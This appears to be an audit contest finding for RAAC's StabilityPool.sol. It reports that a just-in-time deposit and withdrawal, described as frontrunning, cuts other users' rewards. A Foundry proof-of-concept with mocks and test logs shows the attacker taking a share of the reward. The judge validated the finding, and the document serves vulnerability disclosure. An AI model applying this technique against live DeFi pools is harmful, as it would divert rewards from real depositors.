Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Frontrunning attack in `StabilityPool.sol`

Impact

High => Loss of User rewards (Funds)

likelihood

High

Description

StabilityPool.sol provides the functionality to deposit, withdraw in the pool in exchange of extra rewards at the time of withdrawal. However the reward mechanism is susceptible to frontrunning attack by an attack, The attacker can increase the amount of GAS spent and withdraw before and reduce the amount of reward the innocent user is about to get, The POC section would demonstrate it for sure.

POC

The following POC has 2 function, 1st function showing the amount of Rewards gotten from the withdrawal action without any frontrunning, the second function shows the amount of rewards gotten from the withdrawl action

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol"; // Path to your StabilityPool contract
// Mock RToken
contract MockRToken is ERC20 {
constructor() ERC20("Mock RToken", "rCRVUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
// Mock DEToken
contract MockDEToken is ERC20 {
constructor() ERC20("Mock DEToken", "deCRVUSD") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function burn(address from, uint256 amount) external {
_burn(from, amount);
}
}
// Mock RAACMinter
contract MockRAACMinter {
function tick() external {}
}
// Mock LendingPool
contract MockLendingPool {
mapping(address => uint256) public userDebt;
uint256 public normalizedDebt = 1e18;
function getUserDebt(address user) external view returns (uint256) {
return userDebt[user];
}
function getNormalizedDebt() external view returns (uint256) {
return normalizedDebt;
}
function finalizeLiquidation(address user) external {
userDebt[user] = 0;
}
}
// Mock RAAC Token
contract MockRAACToken is ERC20 {
constructor() ERC20("Mock RAAC Token", "RAAC") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract StabilityPoolTest is Test {
StabilityPool public stabilityPool;
MockRToken public rToken;
MockDEToken public deToken;
MockRAACToken public raacToken;
MockRAACMinter public raacMinter;
MockLendingPool public lendingPool;
IERC20 public crvUSDToken;
address public owner = vm.addr(1);
address public manager1 = vm.addr(2);
address public user1 = vm.addr(3);
address public user2 = vm.addr(4);
uint256 public constant INITIAL_AMOUNT = 1_000_000e18;
function setUp() public {
// Deploy mock contracts
rToken = new MockRToken();
deToken = new MockDEToken();
raacToken = new MockRAACToken();
raacMinter = new MockRAACMinter();
lendingPool = new MockLendingPool();
crvUSDToken = IERC20(address(new MockRToken())); // Use RToken as a mock for crvUSD
// Deploy StabilityPool with initial owner
stabilityPool = new StabilityPool(owner);
// Initialize StabilityPool
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvUSDToken),
address(lendingPool)
);
// Mint tokens for testing
rToken.mint(user1, INITIAL_AMOUNT);
rToken.mint(user2, INITIAL_AMOUNT);
raacToken.mint(address(stabilityPool), INITIAL_AMOUNT); // Fund StabilityPool with RAAC tokens for rewards
// Approve StabilityPool to spend tokens
vm.prank(user2);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.prank(user1);
rToken.approve(address(stabilityPool), type(uint256).max);
// Add a manager
vm.prank(owner);
stabilityPool.addManager(manager1, 500_000e18); // Allocate 50% to manager1
}
function test_rewardswithoutfrontrunningAttack()public{
vm.startPrank(user1);
uint256 initialDeposit = 10e18;
stabilityPool.deposit(initialDeposit);
stabilityPool.withdraw(initialDeposit);
uint256 givenRewards = raacToken.balanceOf(user1);
console.log("The RAACTOKEN rewards from this transaction:",givenRewards);
vm.stopPrank();
}
function test_rewardsWithFrontrunningAttack() public{
vm.startPrank(user1);
uint256 SomeAmount = 10e18 ;
stabilityPool.deposit(SomeAmount);
vm.stopPrank();
vm.startPrank(user2);
uint256 AttackAmount= 1e18;
stabilityPool.deposit(AttackAmount);
stabilityPool.withdraw(AttackAmount);
vm.stopPrank();
vm.startPrank(user1);
stabilityPool.withdraw(SomeAmount);
vm.stopPrank();
uint256 attackRewards = raacToken.balanceOf(user2);
uint256 userRewards = raacToken.balanceOf(user1);
console.log("The attacker rewards:", attackRewards);
console.log("The user rewards:",userRewards);
}
}

Result =>

2025-02-raac git:(main) ✗ forge test
[⠆] Compiling...
No files changed, compilation skipped
Ran 2 tests for test/ForgeTest2.sol:StabilityPoolTest
[PASS] test_rewardsWithFrontrunningAttack() (gas: 254144)
Logs:
The attacker rewards: 90909090909090909090909
The user rewards: 909090909090909090909091
[PASS] test_rewardswithoutfrontrunningAttack() (gas: 158347)
Logs:
The RAACTOKEN rewards from this transaction: 1000000000000000000000000
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.29ms (611.09µs CPU time)
Ran 1 test suite in 9.14ms (1.29ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

We can clearly see that the amount of rewards is significantly low than the amount gotten without, and this amount would go down even more if the attack amount would be more.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.